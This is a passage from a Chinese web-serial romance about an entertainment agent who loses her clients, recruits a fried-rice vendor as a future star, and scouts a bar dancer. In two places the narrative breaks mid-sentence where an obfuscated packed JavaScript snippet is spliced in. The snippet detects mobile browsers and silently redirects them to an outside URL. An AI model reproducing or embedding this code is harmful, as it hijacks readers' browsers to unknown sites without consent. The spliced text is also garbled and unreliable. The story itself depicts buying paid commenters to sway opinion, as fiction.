宫欢没想到被人猜中心思,只好耸耸肩当没事发生,“看人真准。” 高姐挂断了法务视频,摘下眼镜开始兴师问罪:“这是怎么回事,突如其来的对赌协议,你也不怀疑,说签就签?” 你不也没拦我么。宫欢心里嘀咕。 自进入娱乐圈以来,宫欢的第一位助理就是高姐高闲。 她比宫欢大两三岁,工作一直效率超高又靠谱,再加上这位高姐平时工作态度严谨认真,大家都叫她一声姐,宫欢也不例外。她时常能及时发现问题所在,解决问题,帮宫欢收拾不少烂摊子。 “我当然不是说签就签,”宫欢辩解,抱住那份对赌协议就像抱住了20亿,“…我是收了钱才签的。” 明明她才是发工资的,现在却心虚的不行。 高姐盯着她看,叹了口气,不再追问对赌协议的事情,话题一转,“那买营销号炒生日直播的事情,你确定了?” 没想到宫欢迟疑片刻,摇摇头。 高姐欣慰不少:“我就说,别管那些人怎么折腾,全都当做空气就好,网民不会关心你到底是什么人,他们只想看热闹。宫欢,继续专注你的事业,你昨天不是还说要努力奋斗——” 宫欢一句话没听进去,边点头边说:“不能光买营销号,还要买水军!” 高姐差点表情管理失败:“啊??” “让水军在各大营销号下面多评论点活人内容,别老复制粘贴,查重率高了不给钱啊!” 宫欢认真思索着营销流程,对自己满意的点头,然后起身往楼上卧室去,“就先这么做吧,我去换衣服,等下去B市。” 高姐还处在多买水军评论的迷惑操作中,听见宫欢的安排,下意识问了句:“这么晚去B市做什么?今天没有行程了。” 穿着毛绒睡衣的宫欢已经跑到2楼,她从楼梯栏杆处探头朝高姐露出个势在必得地笑:“去准备赚钱啊,时间可不等人。” 等人跑回卧室,高姐的视线移到电脑上的鬼畜视频里,生日宴会的直播视频已经被剪的堪称离谱,评论五花八门,每次看都要做点心理准备。 一般人面对自己最珍贵的生日被恶搞开玩笑早就生气发律师函了,可宫欢似乎没有负面情绪,只是偶尔流露出落寞后,又发现新的目标,不在坏情绪里停留内耗。 高姐很佩服她,尤其是在这种情况下,宫欢的做法居然是顺水推舟。 在利益与自我面前,这个任性自我的人,不是选择大骂特骂,开火炮轰所有参与其中的人。 而是抓住机会,等待翻盘。 4. 炒饭摊主 “宫欢,娱乐圈知名经纪人,拥有个人独立工作室,旗下艺人目前仅剩两位,大家熟知的清音王子韩雨寒就是她的艺人。” “最近的瓜宝子们都吃了吗,没错!被艺人大闹生日宴足够说明她的人品了,我们这期节目就说说宫欢的‘成名史’!” “耍大牌,潜规则,上骂知名老戏骨,下怼当红流量花,横批——猖狂至极。大家就不由得好奇,宫欢的背景到底是何方神圣!?” 机场,宫欢手指挑开半边墨镜,斜眼看向正看视频的那位吃瓜观众。 她悄悄凑到这人背后,视频正说她的背景是背靠某某大佬,啧了一声,伸手拍拍吃瓜人的肩,在这人被吓得一个激灵扭头看她时,指着视频打假: “假的,xx不是我干爹,他没干女儿,只有干儿子,是那谁谁,不是我。” 吃瓜人满脸震惊,看着宫欢那张距离极近的脸,又看向手机屏幕里宫欢的荧幕照片,结结巴巴地:“你,你,他......真的假的,真是那谁谁??” 宫欢冲他wink,嘴角笑意加大,缓缓将墨镜推了回去,“保真。” 说完她潇洒地转身离开,混进机场来来往往的人群中分辨不出身影。 留吃瓜观众当场噎得不上不下,忙回复评论:【我刚遇到宫欢了!!她说xx不是他干爹!那谁谁才是!!卧槽,惊天大瓜!!】 - 散布完大瓜的宫欢大善人一身浅粉色西装,长卷发随着走动的步伐在背后轻晃,她手里拿着时下最流行的精致包包,裸色高跟鞋将身上的色彩搭配得恰到好处。 走到机场门口,高姐刚好拉着行李过来。 “你刚才和谁聊天呢?”高姐好奇问,“是哪个熟人?” 宫欢像是恶作剧得逞了似的,脸上是熟悉的狡黠:“就普通路人,逗逗他玩。” 两人身处B市机场,此刻已是凌晨一点。 高姐租了辆车将行李放好,才问出此行目的:“去哪儿?” 上了车,宫欢摘下墨镜,收好放进包里拿出手机,翻出仅剩的两位艺人的聊天界面,将她们早就发来的定位地址转发给高姐。 “去找方夏和刘君蕙,”宫欢边说边敲字,“之前她们就有点想解约,韩雨寒这件事闹得太大了,不知道她们什么反应,去聊聊,要是还能继续合约关系,我会给她们加资源,不合作的话就算了。” 高姐一脚油门踩下,车窜出数米远,她注意着夜间环境:“如果她们趁着现在火烧眉毛的时候解约,事情会很棘手,对我们不利。” 宫欢将消息发送给两位艺人,说自己等下去探班,接着两手一摊傲气得不行: “无所谓,我现在是有资本的人,她们爱签不签,不签是她们的损失,我,我是谁啊?我手里多少资源?多少人想做我的艺人从这里排到长城都数不过来——” - 两小时后。 宫欢猛地抱住穿着一身血衣的演员方夏的腰身,目录恳求:“夏夏,我们真的不能再继续了吗??” “你忘记我们这两年来的点点滴滴,没日没夜的回忆了吗!”宫欢说着还肩膀抽抽,脸上只打雷不下雨,“你舍得和我解约吗!?你真的那么狠心吗!” 凌晨三点。 方夏脸上画着凄厉的血色妆容,被宫欢这一抱也手足无措起来,求救地看向高姐,然而高姐在补觉,睡得谁都不认。 方夏是三线艺人,入圈后就在宫欢手下工作,演技口碑颇佳,可惜扛不起剧,粉丝们将这原因都归咎在宫欢自身的风水对方夏不利身上。 方夏没办法,只得好言相劝:“欢姐,不是你的问题,你知道我进圈有几年了,总是演女二女三,我想要好资源,我...想去拼一拼。” 宫欢不管不顾地把脸贴在她血衣上蹭着,脸蛋的肉都挤压扁了,她可怜兮兮地眨巴眼: “你想要什么资源我都给你,我现在,现在有能力给你最好的资源了!你再相信我一回!” 方夏无奈地把宫欢扶正,拿出纸巾给她擦脸上不小心沾染的血浆,“没用的,欢姐,生日宴的事情我已经知道了,很抱歉没去参加你的生日。解约这件事我已经想好了,我会去其他老牌的经纪公司,让他们给我安排各方面的发展。” “以后,就不麻烦你了。” 剧组拍摄的场地在偏山沟里的中式园林,园林内响起惨烈的嚎哭,将熟睡的高姐惊醒。 高姐一爬起来就看见宫欢夺过方夏手里的纸巾,过来拽着她离开,边走边哭着喊:“我再也不相信你了!我们没以后了!” 高姐一脸地不明所以,被踉踉跄跄地拽着上车后,宫欢收起那副哭脸,表情淡定地抬手说:“方夏掰了,下一家。” 发动车子,高姐晃了晃头保持清醒,打开远光灯在山沟里倒车拐弯。 她分出神问:“方夏不续约吗?” 宫欢眉头紧皱,面容隐没在车内昏暗的光线中,“嗯,她有自己的想法。” 轿车行驶在山间弯道,高姐很不合时宜地说:“那我觉得刘君蕙应该也不会续约了,她们肯定提前商量过。” 宫欢不置可否,她倚在车窗边望向窗外出神,片刻后听见高姐打了声哈欠,才注意到两个人已经忙了很长时间。 她拍拍前车座,“靠边停一下,你到后面休息,我来开。” 高姐没有强撑。她将车停下,要换人驾驶时看见宫欢脚上的高跟鞋,催她一句:“把鞋换了。” 好吧,宫欢混不过去这位的眼睛。 她只得从行李箱里拿出运动鞋换上,在高姐监督下系好安全带,启动车子缓慢行驶。 行至B市市区已是两小时后,五六点的天微微亮,路边的早餐摊前冒起水雾朦胧的蒸腾热气。 简单垫过肚子。宫欢马不停蹄地赶到刘君蕙所在的剧组,却没找到人。 问了一圈她才知道刘君蕙丢下剧组的进度不管跑出去聚会了。宫欢只好在剧组待着蹲人,时不时给刘君蕙发消息催促。 刘君蕙大概也是真的准备解约,一整天都不见人影,直到傍晚才姗姗来迟。 这是宫欢仅存的希望。 刘君蕙是素人演员,入圈就成为了宫欢的艺人,经过两年努力,也出过成绩,算是新生小花,但演技一般,非常吃剧本和角色设定。 也就是说,她只能演她自己。 相比起方夏的温柔,刘君蕙就现实了很多。 “欢姐,不是我不想续约,”刘君蕙正在化妆镜前上妆,遮住昨天彻夜狂欢的痕迹,“我真觉得你的名气太大压得我们直不起腰,你看圈里哪个经纪人抛头露面的,都是低调悄声做大事,为艺人奔走炒名气。” “你呢,没把我们捧火,自己倒是火的一塌糊涂。”刘君蕙隐晦地翻了个白眼。 宫欢挑眉:“你管我这叫火,烧你身上试试?看你够不够格当燃料?家里十八代祖宗都被问过一遍了,你管这叫自!己!火?不好意思,我是全家都火,你羡慕吧,嫉妒吧?” 刘君蕙脸色铁青,硬生生将手里的化妆刷捏断了,想张嘴怼回来,宫欢却根本不给她插话的机会。 “行,小刘我看你也是飘了,不知道自己几斤几两了,拿两把刷子插头上就以为能从扫把星变西王母了,戏也不好好拍就去鬼混!光是给你点男模的绯闻洗通稿我花了多少钱!还想火,扛得住红气吗你,就你这身板一点富贵都接不住!高姐,走!” 宫欢一口气骂完,扭头转身就走。 身后传来小刘气急败坏地骂声,哗啦啦地将桌面上的化妆品扫了满地。 直到大步冲出剧组一段路,宫欢抱着手臂站在路边的树下气得呼吸不畅,吹了会风才冷静下来。 高姐在旁边劝她:“没缘分的人解约就解约吧,我们再签其他人,就是短时间内要磨合培养,很多都要重新来很费时间。” 谁说不是呢? 宫欢蹲在路边挠头。 对赌协议的时间期限是三年,她没有太多时间去在艺人身上下很大功夫,她需要的人,必须是熟悉的、可控的,短时间内不能出大乱子。 “如果韩雨寒不作死,还是可以让他回来顶一顶。”高姐说。 “回来个屁!就他?”宫欢气不打一处来,扭头看向附近正热闹的夜市,随手指了个街边正在炒饭的小伙子,“他那长相连人家小哥一半都不如!找他我还不如找这小哥!” 高姐顺着宫欢的指向看过去,本是不经意地随意一瞥,却乍然顿住。 这炒饭小哥确实可以。 宫欢也似乎才反应过来这个问题,她再次将头扭过去,直勾勾地看正在炒饭的人—— 深夜的小吃夜市,食物的香味四处弥漫。 炒饭的摊主穿着老头背心,样貌隐在炒锅冒起的热气中,只能看见头肩比格外标准,手臂肌肉漂亮,没有丝毫赘肉,有晶莹的汗珠凝在白皙的肌肉纹理上,随着颠锅的动作肌肉鼓动,再往下是带着白棉手套颠锅的手。 宫欢的气消了大半,她又歪头仔细看。 这小哥眼睛盯着锅里的炒饭,眼睫浓密纤长,鼻梁如锋利的刃,由眉间笔直落下,却在鼻头迂回,将面容中的冷冽中和许多。 唇微抿,神情专注认真,气质突出不俗的质感,这样的人却又奇异的融合进了市井烟火气。 宫欢看得发怔,眼睛都不带转的,抬手拍了拍高姐:“帮我买份炒饭,我饿了。” 你那是饿的吗? 高姐没明说,只好走去炒饭摊前,扫了眼菜单。 “想吃些什么?” 奚亭云抬眸看向高姐,左手熟练地颠锅,铁勺在锅沿敲炒着,“炒饭炒面炒米粉都有。” 他视线极轻易的、微不可查地往高姐身后那道粉色身影处掠过一眼,快到如蜻蜓点水,雨丝滑落,便收回了。 “蛋炒饭就行。”高姐扫码付钱,没注意到这人的小动作。 而在后面等待的宫欢就不同了。 那一眼她看得清楚。 他眼皮褶皱偏像弯月的型,眼尾自然下垂,衬得那双眼无辜自然,眉骨高,眼窝倒不是很深,小摊上的顶灯像是为其打光。 那模模糊糊朦朦胧胧的一眼,格外的勾人,她都有些心痒,想再看看到底是不是因为乍一看所以才特别动人的缘故。 或许,她可以做一次星探? 宫欢琢磨,从零培养一个艺人的成本价是多少。 高姐捧着炒饭过来,还冒着热气,她顺着宫欢蹲在旁边递给她:“要过去吃吗?还是就......蹲在路边格外有风味?” 过去? 宫欢唰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126295|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得站起身,起身太猛脑袋眩晕一阵,晃了两下看得高姐胆战心惊:“哎呀你慢点。” “过去,过去吃。” 夜市摊位后面都有小小的塑料桌椅板凳,宫欢原本坐下前觉得脏,想拿纸巾擦擦,结果发现还蛮干净的。 她往远处其他摊位上的桌椅板凳看了看,都难免有油污垃圾等杂物。但这个摊位明亮干净,还能闻到一些消毒水的气味,明显是经过严格消毒的。 她不免讶异,看了炒饭摊主一眼。 两人坐下,高姐不饿,拿着手机在回复处理工作事务。 宫欢捧着炒饭,眼睛继续盯着摊主的背影。身高可以,以她的眼光看约有187左右,身高比不虐,大概三七分,是很完美的比例。 她往嘴里扒了两口炒饭继续分析。体态差点,需要训练一下。 炒饭进口咀嚼后的第五秒,宫欢当即顿住,目光终于从摊主身上挪回炒饭本身,她塞了满嘴,腮帮子鼓鼓的,不敢置信地看着手中这份平平无奇的炒饭。 “竟然,这么......”她慢慢摇着头,嘴里还不停咀嚼饭粒。 高姐注意到她的动作,随口问:“不好吃吗?” 宫欢含含糊糊的说:“人间美味,至臻盛品,扬州国家级别的炒饭师傅都为之逊色!我宣布这炒饭是天下第一炒饭!” 说完这话,宫欢便埋头沉浸在炒饭的香味中,高姐一脸的疑惑。 没人发觉,炒饭摊主的身影顿了顿,像是在回应宫欢的那句话。 仅仅三分钟,宫欢就吃完了炒饭。她擦擦嘴,看向摊主的眼神热烈似火,趁着高姐没反应过来一下窜到摊主旁边,从侧面近距离观察。 摊主被她吓到,惊得侧过头看她一眼,但又像是不敢对视,僵硬地扭过头熟练地颠锅炒饭。 “这位小哥,”宫欢开始吟唱,她大胆直白地盯着奚亭云的脸,像是要看出些什么,“你的炒饭怎么做的,太好吃了。额那个,你有兴趣做明星吗?” 话题转的非常生硬,宫欢演都不演了。 “明星?” 奚亭云这才找到看她的理由。他转过头,对视上那双弯弯的笑眼,内里的光亮像遥不可及的另一个世界。 “你是骗子吗?”他问,“这种骗法已经过时了。” 宫欢微微顿住,不是因为他的话,而是他的声音。 吐字清晰,每个字的抑扬顿挫拿捏得恰到好处,尾音含着轻微的磁性,不像她听过的矫揉做作,而是如巧克力般醇厚又不腻味。 宫欢真想当场鼓掌说完美。 她尽可能露出个友好和善的笑容:“哈哈哈真会说笑,我怎么会是骗子呢。你的吐字好清晰啊,是考过普通话证书吗?” 炒饭摊前来了两个客人,奚亭云又在颠锅炒菜,分出神回答她:“考过,我之前是学播音主持的,吐字清晰是基本功。” 啪啪啪几声,宫欢鼓起掌来,旁边等待炒饭的客人都怪异地看她—— “天呐,你简直就是天选之人,这样的外形,这样的嗓音条件,米开朗基罗的大卫雕塑都比不上你的万分之一;嫦娥奔月路上见了你绝对当场拉住降落伞以完美的落地姿态重回人间,就是为了一睹芳颜!炒饭简直是对你的亵渎!你应该喝露水当花魁!” 奚亭云看似面不改色,实则颠锅地动作快了几分,像是在掩饰无措。 他垂眸不看她,忙着将炒饭装盒。宫欢眼力见极快地抽了个塑料袋递过去,眼睛亮晶晶地看着他:“考虑考虑吧,做明星艺人好处大大的有。” 将炒饭递给客人,奚亭云擦了擦手,转过身正对着宫欢:“比如?” 口风松了,有机会! “包吃包住包穿包玩,月工资一万,给我当艺人。”宫欢锲而不舍。 “我炒饭一个月两万。”奚亭云说,声音低柔好听。 宫欢嘶了一声,“我给你三万,再加上全包你生活日常。” 奚亭云考虑片刻后问:“有五险一金吗?” 宫欢连连点头,嘴角挡不住地上扬。 稳了! 两个人在前面讨价还价。高姐困惑地看向宫欢刚才吃剩的两口饭,她不免好奇这炒饭真有那么好吃? 她捻起一颗饭粒放进嘴里,一股淡淡的甜味在舌尖蔓延。高姐当场石化。 ——这炒饭,是,甜,的。 宫欢拿出名片递给奚亭云,银质色调的名片印着暗纹,宫欢两个字一上一下刻在名片中间。 “以你的资质绝对能大火爆火,我眼光超准的,给你时间考虑哦,考虑好了就去A市这个地址找我。那么,我要怎么称呼你?” 奚亭云接过名片看了会,而后抬头与她对视,眸光中有宫欢看不懂的情绪。 “奚亭云,我的名字。” “那我就等你的好消息咯!” 宫欢朝他笑得灿烂,随后拉起石化在原地的高姐离开。 离开的那段路很短,落在奚亭云眼里却仿佛拉长了无数倍,他一直一直地看着宫欢,直到她的身影越来越远。 宫欢没有回头,走路走得摇曳生姿,显然心情很好。 反倒是高姐似乎回想起什么,她回头看了一眼,恰好对上奚亭云愈发幽深的眸光。 那是没有丝毫遮掩的野心,两人心知肚明。 5. 纯男艳舞 前往A市的飞机上。 宫欢拿出随身携带的纸笔,勾勾画画做着简单的事业规划。 这一天半里她失去了最后两位熟悉的艺人,手下无兵,短时间内翻不起任何风浪。 她捏着笔抵住下巴深思。目前倒是发现了一个新人,只是一切都不确定等同于什么都没有。 原本的规划要全部推翻,她得计划新的事业方向,而这方向要有个非常清晰的主题。 ——来钱最快,热度最高,话题最多。 三年的时间太短,做精很难,但做广是可以的。 宫欢将想法写在笔记本上,又接连写下当前比较好发展的几个方向。 娱乐圈内短时间容易培养的当属唱跳爱豆,爱豆的粉丝经济是个大蛋糕,而爱豆里男性比女性好营销造神,粉丝里面女性的占比最多,女性的消费实力毋庸置疑。 当然,唱跳歌手也有很致命的缺点——凉得快。 比如那个贱人。 宫欢表情恨恨。 唱跳爱豆和专业歌手不同,他们的培养过程类似集训营,谁优秀就选谁,没有针对自身特长的专业培养。 宫欢没有七八年的时间去培养一个角,她只能去选几个条件好的、有经验的艺人。 如何让唱跳爱豆短期内获得高关注度?这个时代关注度生产经济,注意力就是金钱。 宫欢思索片刻就写下了两个字——男团。 之前国内出过几个男团和女团,通过选秀节目火过不少人,而且一火起来话题度史无前例的高。粉丝比例分布大,什么唯粉,团粉,黑粉cp粉,两人粉三人粉的,人一多话题就多。 就像八卦,永远是人越多越带劲。 宫欢很快就决定好了,下一个小目标就是先组建个男团。 男团专攻唱跳营销的热点。粉丝都很聪明的,她们很快就会发现宫欢是经纪人,风向极容易被带偏,从宫欢黑到男团,当然也有可能会出现宫欢压榨艺人的说法。 所以,宫欢思索着,她还需要一些来稳固口碑的实力派艺人,最好是走演员路线的来赚路人缘和观众好感,影视方面也要跟上,毕竟影视的利益让人眼馋。 飞机停落时,宫欢确定好了初步的职业规划。 高姐被空姐叫醒,坐起来打了个哈欠,她看见宫欢刚合上钢笔:“你没睡吗?” 宫欢长舒一口气,似打了鸡血般亢奋:“根本睡不着,还有好多事要忙呢。” - 两人下飞机回到别墅,宫欢倒在沙发上就着了,连夜来回奔波,她没睡几个小时。 高姐和保洁阿姨搭手把宫欢抬回卧室安置好,回到客厅的办公区继续营销工作。 鬼畜视频的营销是高姐一直在跟进度,从宫欢让她买通营销号和水军时开始,各大视频APP里有关宫欢的剪辑视频越来越多,占据鬼畜区的半壁江山。 视频软件里的搜索框里常常蹦出宫欢的词条,显示为时下最火的内容。 高姐打开视频APP,大概是她刷宫欢的视频多,以至于一打开软件,蹦出的就是影视区博主分析宫欢的内容。 她饶有兴趣的看了会儿,被那些种种阴谋论推测的说法搞得无语发笑。 打开评论区,里面的评论经过一些水军带节奏,风向都在往一边倒。 【宫欢做经纪人才两年多!?她天天热搜多的我以为是什么老牌经纪人。】 【上次我看见一个评论说宫欢的干爹不是xx,他说是宫欢亲口跟他说的!】 【这你都信?我还说我我是你干妈呢。年轻人,网上的有什么是真的啊?】 简单刷过几个视频查看里面的评论。高姐打开工作微信找到营销号和水军群主,验收成绩,查重率不高达到了宫欢的要求,她转账后就关掉了手机。 等宫欢休息好就跟她说下情况,不知道宫欢接下来会有什么安排。 宫欢这一觉睡到晚上十点才醒。 她顶着睡意朦胧的脸走出卧室来到楼下,摸索到厨房,在冰箱里找吃食简单垫垫肚子。 这个点高姐还没离开,仍在工作区做简单的内容。 她的工作性质和其他人不同,宫欢的大多数事务都要经过高姐的手,当然工资也非常可观,如果忙到太晚的话会直接在别墅住客房。宫欢家里常备高姐的洗漱用品和一些常穿衣物。 宫欢吃着阿姨们做的便当,她们下班前会做几份宵夜以防宫欢和高姐忙太晚饿到。 她端碗过来:“还没忙完吗,视频营销的事怎么样了?” “很顺利,无脑跟风没有任何难度,”高姐喝了口茶提神,“大部分人都在玩你的梗,我们常用的水军还制作出了你的表情包在网上流传,用得人挺多,就算生日宴热度过去,光是梗和表情包也能撑过几个月的热度。” 宫欢往嘴里塞了两口杂粮饭,夜宵便当做的很健康,没什么油盐。 “表情包也做了?很厉害嘛,我看看。” 她空出手从睡衣口袋里拿出手机,高姐转发给她十几张图,差不多是一整套表情包。 其中有张宫欢从蛋糕里爬出来的图片,披头散发的配字是【蛋糕贞子】,她被韩雨寒推的图片配字是【背后阴你】,除此之外大大小小的、她曾经的图片都被做成了或搞笑或调侃的表情图。 没形象地把腿翘在沙发上,宫欢嚼着那噎死人的肉点评图片:“哈哈哈可以可以,这图谁做的,加钱,必须加钱,居然没有把我丑化,还挺萌的。” 高姐翻出做图的水军,给他发去红包,“一个老水军了,经常合作就是好办事,比较懂我们的需求。” 宫欢随意应了声,翻看微信里一堆红点,大部分都是虚假的关心和安慰,有两条消息是她之前认识的二线明星卢佳发来的,说是约她去聚会喝酒,给她洗洗晦气。 宫欢回忆起宴会当天,这人跑得最快,不免扯了扯嘴角。 但还是诚实地给她发去消息:【地点在哪,马上到。】 她目前迫切地需要人脉资源,多交际总是好的。 几口吃完便当。宫欢去衣帽间换了身衣服,10分钟化出简单花哨的妆容,穿着和白天的风格大不同——香槟色的亮片斜肩裙,搭配金叶耳饰,与眼尾的那抹浅金色眼影所呼应。 出门前高姐才发现她的举动,“去哪里?” 宫欢翻开手机消息将地点位置转发给高姐,撩了撩头发颇为做作地说:“去震慑全场大杀四方,你等下别回家了,太晚,房间随你选,睡我房间都可以。” “我睡客房就好,”高姐推了推眼镜,叮嘱道,“注意安全,别喝太多酒,有情况及时给我发消息。” 宫欢悠悠走出别墅大门,背朝她比了个OK的手势。 来到车库,宫欢坐进驾驶位时偏神幻想了下她开保时捷的英姿飒爽。跳脱的又想到启动资金,这两天有空了她得去把一亿转到自己账户里才能安心。 轿车缓缓驶出车库,车窗下降,宫欢踩着油门熟练地打弯开出别墅区。她居住的别墅在A市郊区,附近人少,方圆十公里除了这小区外再没有别的住户。 夜风微凉,随着夜色吹入车内,抚动着她的头发。正经过路口,红灯挤掉黄灯一跃而出,车身只得暂停。 宫欢抽空在车内翻找醒酒药,她每次都会在各种饭局酒局上提前吃一片,这样好撑过前半场酒局,后半场就随缘了。大家都醉得厉害,她怎么花式洒酒都没人知道。 酒吧位置在A市繁华区有名的酒吧一条街,这家酒吧名为“夜”,算是颇受青睐,许多明星都会在附近出现,自然地少不了狗仔蹲草丛偷拍。 宫欢到地方后毫不遮掩地将车停在酒吧门外,下车将钥匙丢给负责停车的服务生。 几个眼熟她的气氛组成员主动靠近笑眯眯地打招呼:“姐姐都好久没来了,想死你了。” 一个身材出挑长相精致的正太男模伸出手就要搭上宫欢露在外面的半边肩膀。 她不慌不忙地抬手挡开,淡淡地瞥他一眼:“长得这么丑就别凑上来了,离我远点。” 正太男模脸顿时僵住,强忍着情绪:“好的,欢姐。” 另一个男模咳了声,让他躲开。讨好谄媚地迎宫欢往里带路,“姐姐今天一个人吗?” “卢佳她们几个在哪?” 宫欢问完耳朵很尖地听见后面那正太男模低声骂了她一句,她不屑地笑了声,止住脚步回身,手里的包直直对着那人砸去—— 某牌子最新款半边铆钉的包包就那么直愣愣地砸中那正太男模,他大叫一声抱住头,痛得龇牙咧嘴。 “欢姐欢姐!”领路男模忙出手拦住宫欢,赔笑哄她:“今天是来玩的嘛,跟他置什么气啊。” 宫欢难得地绷起脸生气:“你问问他刚才骂了什么。” 正太男模心虚,痛得整张脸扭曲都不敢回话。 宫欢可听清楚了,她从来不介意别人骂她,但这男模又装又当,就是欠打。 “我没扇他的嘴都是够给你面子了,”宫欢看向领路男模为难的脸,“那种话但凡换个比我大牌的人,他今天晚上都得去半条命,好好教教自己的人,吃这碗饭就少给我放下碗骂娘。” 这动静惊得酒吧内的一些人往这看,正太男模还想再骂,领路男模忙给其他人使眼色,服务生们赶紧上前架住正太男模,捂住他的嘴把人带走。 一服务生将宫欢的包拿起递给领路男模。 领路男模将她的包擦了又擦,两只手捧着递给宫欢,“我的姐姐,您别跟他一般见识了,等下我就教训他,别脏了姐姐的手,等下我亲自去给您调酒,我记得欢姐的口味,您解解气。” 宫欢今天还有正事,没多闹,拿起包跟着领路男模,不多时找到视野位置绝佳的二楼。 单独的隔间卡座里,组局的卢佳和几个小明星网红正喝着酒嬉笑玩闹,见宫欢过来眼睛亮着就站起身迎她: “哎哟这是谁呀,可算来了我的大寿星,今天这局就是为你组的。” 宫欢笑笑,配合卢佳的亲昵勾手和她一起坐在卡座c位。 周围的明星网红脸上都带着讨好的笑,个个眼里放光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126296|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着宫欢,声音甜腻客气: “早就听说欢姐的名气了,我们都说想见见您,今天终于见到本尊啦!您生日的事情我们听说了,那个韩雨寒真是该死,男人就是贱!不像姐妹们,大家都是一条心。” “就是啊,圈里男人有几个靠谱的,不是花心就是gay,个个拽得要死,不过都是有靠山而已。” “欢姐别为那傻逼烦心,您生日过后我们几个姐妹就说找机会给您私下庆祝一下,自己人过生日才高兴呢,没有虚伪的人。” 说话的两人是最近在综艺节目小火一把的网红嘉宾,热度已经过了,两人应该是没抓住绝佳的机会,最近没多少人气水花。 其实网红的路子也很好走,但大多数网红觉得不够,都会想办法进入娱乐圈,毕竟娱乐圈的资源和利益太让人眼馋,只要敢拼,就没有任何上限。 宫欢大致猜到卢佳的意思了。 领路男模将特制调好的鸡尾酒端来,还没放下托盘,一个网红就端起鸡尾酒轻轻放在宫欢面前,用她那绝美的侧脸对着宫欢,头发刚刚好好垂下了一缕,在霓虹灯光下显得风情柔美。 小网红笑得羞涩:“欢姐喜欢喝鸡尾酒啊,我之前也学过调酒的,有机会希望能给您调一次尝尝。” 宫欢挑挑眉没说话。 卢佳见宫欢没表态,缓和气氛举杯:“哎呀说那些干什么,今天只要开心,怎么嗨怎么来。” “大家这么热情,我都不好意思了,”宫欢客套地举起酒杯,网红们都配合地举杯,“你们这么细心为我补办聚会,我高兴得不行,今天我来买单,你们随便喝随便点。” 众人欢呼着捧起氛围,将杯中酒一饮而尽。 卡座下方有一排T台,此时恰好放起节奏强烈燃爆全场的卡点音乐,整个酒吧喧闹声一度响到极点。 宫欢忽然觉得有些耳鸣。 她手中端了半天的鸡尾酒只喝了两口,就没再动过了。眼底带着些厌倦的无聊。 卢佳喝嗨了叫来一群男模,和明星网红们笑闹着喝交杯酒,卡座里顿时调笑酒色混作一团。 宫欢趁着没人注意她,躲开众人靠在二楼栏杆前看下方的酒色人群,脑子里出神地想,她该去哪儿找剩下的人选? 宫欢确实需要签艺人。 卢佳找来的那几位她喝酒时仔细看过,长相身材都不错,但可惜的是脸没有辨识度,大概都经过细微的调整,有两个人的鼻子一模一样,她甚至以为那两个是双胞胎。 她找艺人有自己的一套标准。 辨识度,特点,气质,个人魅力,这样才能够在娱乐圈这种俊男美女多到数不胜数的地方让人印象深刻。 否则就算宫欢一时心软签下他们,也只会耽误双方的时间。 这时,一楼T台附近亮起璀璨耀眼的彩色射灯,将整个酒吧映衬得恍如梦幻世界。紧接着T台后方走出两排穿着渔网上衣的男舞者,随着音乐节奏舞动身姿。 气氛顿时又攀升到一个节点,宫欢饶有兴趣地看了会。 除非应酬她平时很少来这种地方,之前好像没有这节目,想来是最近新出的表演,为了让氛围更嗨。 她抿了口鸡尾酒,准备收回视线找借口提前撤。 忽然,全场灯光一点点黯淡下去,宫欢脚步顿住,T台亮起水波似的柔光,圈圈圆圆的往外扩散,由蓝变紫变红,各种颜色交织变换着。 两排男舞者半蹲下身,T台后走出一人,他细白的腰如蛇扭动,舞步卡着音乐的节奏点,一步步走到T台最前方,摆出一个极有性张力的pose。 紧接着背景音乐顿时猛烈响起,伴随着DJ的节奏所有舞者一起跳动,舞者们身体前倾,手肘搭在前人的后腰处,随着强劲音乐扭腰摆头。 霎时间,全场燃爆。 酒吧舞池里的人更加疯狂地甩头跳着,甚至连二三楼的卡座里的一些高级VIP都随之舞动。 就连宫欢,都有些情不自禁地想随着T台上的舞者和音乐节奏不管不顾地跳起来。 她目光看向T台观察了会。 8人舞台,最前方领舞的人带着黑色口罩,身体的律动节奏是所有人里最好的。 他脖颈至胸腔以渔网黑丝衣覆盖,白皙的皮肤,黑色的线条,旖旎又暧昧。 柔软的腹部露在外面,扭动时隐约可见薄薄的肌肉纹理,下身是偏宽松的黑色制服裤,马丁靴。 虽然戴着口罩遮住了脸,眼睛却很大胆地抛媚眼。 宫欢注意他跳舞的姿势。 不同于其他舞者刻意地扭腰摆胯带着擦边的感觉,领舞人每个舞蹈动作都有力度支撑,更具青春活力的气息。 这种跳法更费体力,每个动作身体部位都要做到相应的控制,控制力道的同时又要控制姿势标准。 但跳出来就非常美观,不会把整场舞蹈变成艳舞,他跳的是艳舞,却跳出了更活泼热烈的青春感。 宫欢不打算走了,今晚没有白来。 她将酒一饮而尽,转身走向后台。 就是你了。 6. 就是你了 点燃全场的热舞持续很久。 一舞毕,许多人还意犹未尽地叫着再来、继续,有一伙人齐声高呼领舞人的名字—— “灵蛇!灵蛇!啊啊啊啊再来一次啊灵蛇!” 这位“灵蛇”停住下台的脚步,扭腰回身做了个飞吻撒给台下,而后在众多尖叫声中迈着台步跳下T台。 掌声欢呼声久久不散,后台无缝连接换上其他人继续热舞。 